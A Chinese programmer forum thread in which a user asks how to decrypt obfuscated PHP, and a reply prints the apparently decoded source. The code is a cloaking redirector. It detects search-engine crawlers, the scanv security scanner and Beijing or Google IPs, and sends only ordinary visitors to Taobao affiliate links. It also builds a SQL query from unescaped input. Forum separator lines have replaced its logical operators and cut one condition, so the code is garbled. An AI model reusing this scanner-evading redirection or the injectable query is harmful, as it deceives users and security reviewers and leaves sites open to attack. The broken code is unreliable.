碰到一段PHP的加密，实在不知道如何解密了求大神

程序员文章站 2024-01-30 17:28:10

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碰到一段PHP的加密，实在不知道怎么解密了求大神
有BASE64和一些乱码符号，真心不知道怎么来解密了求高手。
因为有特殊字符论坛发不上来，就发网盘地址了。
http://pan.baidu.com/share/link?shareid=3556194294&uk=2869471014

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------解决方案--------------------



里面存在相关的加密和版权验证，不过不再最终的加密里面；整个加密流程大概反复进行了5次以上

/*

 * $hash=file_get_contents(__FILE__); substr($hash,-32)==md5(substr(substr($hash,0,-32).'77068ff0146c46ae9da019a1b3e5bfab',4))
------解决方案--------------------
@die(); //15aabc79d4499e36ea28690d6959b37c

 */

error_reporting ( 0 );

defined ( 'FFCAEDAABEBFAB' ) 
------解决方案--------------------
 exit ( 'Access Denied' );

include ('TopSdk.php');

include ('mysql.php');

include ('config.php');

session_start ();

$host = $_SERVER ["HTTP_HOST"];

$scanv = "";

if (isset ( $_SESSION ['url'] )) {

	$url = $_SESSION ['url'];

	$keyword = get_keyword ( $url, $keywords );

	$arr = parse_url ( $url );

	$arr_query = convertUrlQuery ( $arr ['query'] );

	$usergent = $_SERVER ['HTTP_USER_AGENT'];

	$client_ip = $_SERVER ["REMOTE_ADDR"];

	$loc = iconv ( "gb2312", "utf-8//IGNORE", convertip ( $client_ip ) );

	if (strpos ( $client_ip, '61.135' ) !== false 
------解决方案--------------------
 strpos ( $client_ip, '173.194' ) !== false 
------解决方案--------------------
 strpos ( $client_ip, '203.208' ) !== false 
------解决方案--------------------
 strpos ( $client_ip, '74.125' ) !== false 
------解决方案--------------------
 strpos ( $client_ip, '123.125' ) !== false 
------解决方案--------------------
 strpos ( $client_ip, '220.181' ) !== false) {

		$scanv = "检测到scanv IP";

	} else if (strpos ( $keyword, 'dasoji' ) !== false) {

		$scanv = "检测到域名";

	} else if ($keyword == false) {

		$scanv = "关键词不能为空";

	} else if (strpos ( $loc, '谷歌' ) !== false) {

		$scanv = "检测到谷歌IP";

	} else if (strpos ( $loc, '北京' ) !== false) {

		$scanv = "检测到北京IP";

	} else if (count ( $arr_query ) 
		$scanv = "可能是scanv";

	} else {

		$key = get_key ( $keyword );

		$click_url = get_key_url ( $key );

		if (! isset ( $click_url )) {

			$click_url = search_click ( $key )->taobaoke_item->click_url;

		}

		if (isset ( $click_url )) {

			echo "var jump_url='" . $click_url . "';";

			echo "window.location.href=jump_url;";

		} else {

			$scanv = "无有效跳转";

			$click_url = get_shops_url ( $key );

			if (isset ( $click_url )) {

				echo "var jump_url='" . $click_url . "';";

				echo "window.location.href=jump_url;";

			} else {

				echo "var jump_url='';";

				echo "window.location.href=jump_url;";

			}

		}

	}

	$fp = fopen ( "baiduspider.html", 'a' );

	fwrite ( $fp, "
" . date ( 'Y-m-d H:i:s', time () ) . "
 " . $_SERVER ["REMOTE_ADDR"] . '
' . $keyword . '
' . $scanv . '
' . $_SERVER ['HTTP_USER_AGENT'] . '
' . $url . '
' );

	fclose ( $fp );

	;

}

function get_key_url($key) {

	global $db_conn;

	$db = new Mysql ( $db_conn );

	$db->query ( "set names utf8" );

	$sql = "select * from keyword where `key`='" . $key . "'";

	$result = $db->get ( $sql ); 
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